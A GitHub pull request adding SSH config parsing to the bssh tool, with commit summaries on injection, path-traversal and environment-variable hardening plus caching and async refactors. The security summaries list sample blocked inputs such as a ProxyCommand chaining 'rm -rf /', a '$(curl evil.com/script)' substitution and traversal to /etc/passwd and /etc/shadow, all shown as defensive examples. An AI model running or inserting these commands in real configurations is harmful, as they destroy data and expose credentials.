feat: Add SSH configuration file parsing (-F option)#28
Conversation
Implements comprehensive SSH config file parsing with support for: - Standard SSH config file reading from ~/.ssh/config or custom path via -F flag - Host pattern matching including wildcards (* and ?) and negation (!) - Over 40 SSH configuration directives including Host, HostName, User, Port, IdentityFile - ProxyJump, ProxyCommand, StrictHostKeyChecking, and connection settings - Proper SSH precedence rules: CLI args > SSH config > defaults - Environment variable expansion in file paths - First-match-wins pattern resolution following SSH behavior The implementation integrates seamlessly with existing bssh commands while maintaining full backward compatibility.
- Add comprehensive validation for executable strings - Block shell metacharacters and command substitution patterns - Validate SSH substitution tokens (%h, %p, %r, etc.) - Add 86+ security test cases for malicious patterns - Preserve all legitimate SSH config functionality
🛡️ Security Fix 1/3: Command Injection PreventionFixed Critical Security IssueImplemented comprehensive validation to prevent command injection in What Changed
Security Testing✅ Added 86+ security test cases:
Attack Mitigation Examples# These are now blocked ❌
ProxyCommand ssh -W %h:%p gateway.com; rm -rf /
ProxyCommand ssh -W %h:%p $(curl evil.com/script)
ControlPath ~/.ssh/control-$(whoami)
# These still work ✅
ProxyCommand ssh -W %h:%p jump.example.com
ControlPath ~/.ssh/control-%r@%h:%pCommit: 851efdc |
- Add secure_validate_path() for comprehensive path validation - Block directory traversal with ../ sequences - Prevent null byte injection attacks - Check file permissions on Unix (warn on world-readable identity files) - Block access to sensitive system files - Add comprehensive security test suite
🛡️ Security Fix 2/3: Path Traversal PreventionFixed Critical Security IssueImplemented comprehensive validation to prevent path traversal attacks in IdentityFile, UserKnownHostsFile, and GlobalKnownHostsFile directives. What Changed
Security Features✅ Identity File Protection:
✅ Path Validation:
Security TestingAdded comprehensive test coverage:
Attack Mitigation Examples# These are now blocked ❌
IdentityFile ../../../etc/passwd
IdentityFile ~/.ssh/id_rsa\0../../etc/shadow
UserKnownHostsFile /proc/self/environ
# These still work ✅
IdentityFile ~/.ssh/id_rsa
IdentityFile /home/user/.ssh/id_ed25519
UserKnownHostsFile ~/.ssh/known_hostsCommit: e4dec35 |
- Implement whitelist-based environment variable expansion - Only allow safe variables: HOME, USER, SSH_AUTH_SOCK, etc. - Block dangerous variables: PATH, LD_LIBRARY_PATH, LD_PRELOAD - Add value sanitization to prevent command injection - Implement recursive expansion protection (max depth 5) - Add comprehensive security tests for all attack vectors
🛡️ Security Fix 3/3: Environment Variable Injection PreventionFixed Critical Security IssueImplemented whitelist-based environment variable expansion to prevent injection attacks through malicious environment variables. What Changed
Security Features✅ Attack Prevention:
✅ Safe by Default:
Security TestingComprehensive test coverage for:
Attack Mitigation Examples# These are now blocked ❌
export PATH="/evil; rm -rf /" # Command injection
export A="${B}" B="${A}" # Recursive DoS
export HOME="/safe/$(whoami)/evil" # Command substitution
# These still work ✅
export HOME="/home/user"
export SSH_AUTH_SOCK="/tmp/ssh-agent.sock"
IdentityFile $HOME/.ssh/id_rsaCommit: eb54e49 🎉 All Critical Security Issues Fixed!This completes the security hardening of the SSH config feature. The implementation now includes:
All security fixes maintain full backward compatibility with legitimate SSH configurations. |
- Add thread-safe LRU cache with configurable size (default 100) - Implement TTL-based expiration (default 5 minutes) - Add file modification detection for automatic invalidation - Provide cache statistics via 'bssh cache-stats' command - Support environment variables for configuration - Add 10 comprehensive unit tests for cache behavior
⚡ Performance Optimization 1/3: SSH Config CachingImplemented LRU Cache for SSH ConfigAdded comprehensive caching system to eliminate repeated file I/O and parsing overhead. Features
Performance Impact
Usage# Enable/disable caching
export BSSH_CACHE_ENABLED=false
# View cache statistics
bssh cache-stats
bssh cache-stats --detailed
bssh cache-stats --clearCommit: cb8fd93 |
- Extract 7 focused modules from 3000+ line file - types.rs: Core data structures (85 lines) - parser.rs: Config parsing logic (568 lines) - security.rs: Security validation (657 lines) - path.rs: Path expansion utilities (398 lines) - pattern.rs: Wildcard matching (137 lines) - resolver.rs: Config resolution (236 lines) - Maintain 100% API compatibility - Organize tests by module functionality
🔧 Code Quality: SSH Config Module RefactoringRefactored Monolithic File into Focused ModulesSplit the 3000+ line Module StructureBenefits✅ Single Responsibility: Each module has one clear purpose Code Quality Metrics
Commit: 6d27805 |
- Convert file operations to use tokio::fs async functions - Update SshConfig methods to be async (load_from_file, load_default) - Make cache operations async with concurrent metadata checks - Use tokio::spawn for parallel file operations in cache maintenance - Add tokio-test for async test support - All 61 tests passing with async operations
⚡ Performance Optimization 2/3: Async File I/OConverted Blocking I/O to Async OperationsImplemented async file I/O throughout SSH config module for better performance and scalability. Key Changes
Performance Benefits🚀 Non-blocking I/O: Thread pool not blocked during file operations Code Quality
Commit: 350f82f |
- Add thread-safe LRU cache for environment variables - Cache safe variables with 30-second TTL - Reduce system calls by 6x (387µs → 60µs) - Maintain security whitelist validation - Add 18 comprehensive tests - Support configuration via BSSH_ENV_CACHE_* variables
⚡ Performance Optimization 3/3: Environment Variable CachingImplemented LRU Cache for Environment VariablesAdded high-performance caching to reduce system calls during path expansion. Key Features
Performance Impact🚀 6x faster path expansion operations Security Features
Testing
Commit: e3c89d8 🎊 All Optimizations Complete!This completes the comprehensive security hardening and performance optimization of the SSH config feature: Security Fixes
Performance Optimizations
Code Quality
The SSH config feature is now secure, performant, and maintainable! |
- Add #[allow(dead_code)] for test-only functions - Fix field reassignment with default patterns - Fix async mutex held across await point - Remove unused mut qualifiers - Fix collapsible match pattern
🔧 Code Quality: Fixed All Clippy WarningsFixed Compilation Issues
Code Health
Commit: ea20b32 The PR is now ready for review with all security, performance, and code quality issues addressed! |
Summary
-Foption~/.ssh/configwith automatic loadingFeatures
Core SSH Config Support
*,?) and negation (!) patterns$HOME,$USER, etc. in pathsIntegration
Test Plan
Examples
Closes #23